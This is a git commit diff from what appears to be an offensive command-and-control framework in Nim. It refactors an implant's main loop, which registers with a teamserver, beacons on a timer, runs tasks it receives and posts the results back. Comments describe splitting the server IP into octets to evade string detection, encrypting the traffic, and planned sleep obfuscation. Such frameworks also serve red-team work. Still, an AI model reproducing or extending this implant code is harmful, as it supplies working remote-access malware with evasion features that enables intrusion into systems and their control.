Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.

This commit is contained in:
Jakob Friedl
2025-08-15 15:42:57 +02:00
parent 5a73c0f2f4
commit c7980d219d
19 changed files with 273 additions and 184 deletions

View File

@@ -1,70 +1,28 @@
import strformat, os, times, system, base64
import core/[task, taskresult, heartbeat, http, register]
import core/[http, context]
import protocol/[task, result, heartbeat, registration]
import ../modules/manager
import ../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
proc main() =
#[
The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
2. Agent collects information relevant for the registration (using Windows API)
3. Agent registers to the teamserver
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
echo "Missing agent configuration."
# Initialize agent context
var ctx = AgentCtx.init()
if ctx == nil:
quit(0)
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var config: AgentConfig
try:
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
config = AgentConfig(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey
)
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
except CatchableError as err:
echo "[-] " & err.msg
# Load agent commands
loadModules()
# Create registration payload
var registration: AgentRegistrationData = config.collectAgentMetadata()
let registrationBytes = config.serializeRegistrationData(registration)
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if not config.httpPost(registrationBytes):
if not ctx.httpPost(registrationBytes):
echo "[-] Agent registration failed."
quit(0)
echo fmt"[+] [{config.agentId}] Agent registered."
echo fmt"[+] [{ctx.agentId}] Agent registered."
#[
Agent routine:
@@ -77,7 +35,7 @@ proc main() =
while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000)
sleep(ctx.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
@@ -85,16 +43,16 @@ proc main() =
try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = config.createHeartbeat()
var heartbeat: Heartbeat = ctx.createHeartbeat()
let
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
packet: string = config.httpGet(heartbeatBytes)
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0:
echo "[*] No tasks to execute."
continue
let tasks: seq[Task] = config.deserializePacket(packet)
let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0:
echo "[*] No tasks to execute."
@@ -102,14 +60,13 @@ proc main() =
# Execute all retrieved tasks and return their output to the server
for task in tasks:
var result: TaskResult = config.handleTask(task)
let resultBytes: seq[byte] = config.serializeTaskResult(result)
var result: TaskResult = ctx.handleTask(task)
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
config.httpPost(resultBytes)
ctx.httpPost(resultBytes)
except CatchableError as err:
echo "[-] ", err.msg
when isMainModule:
main()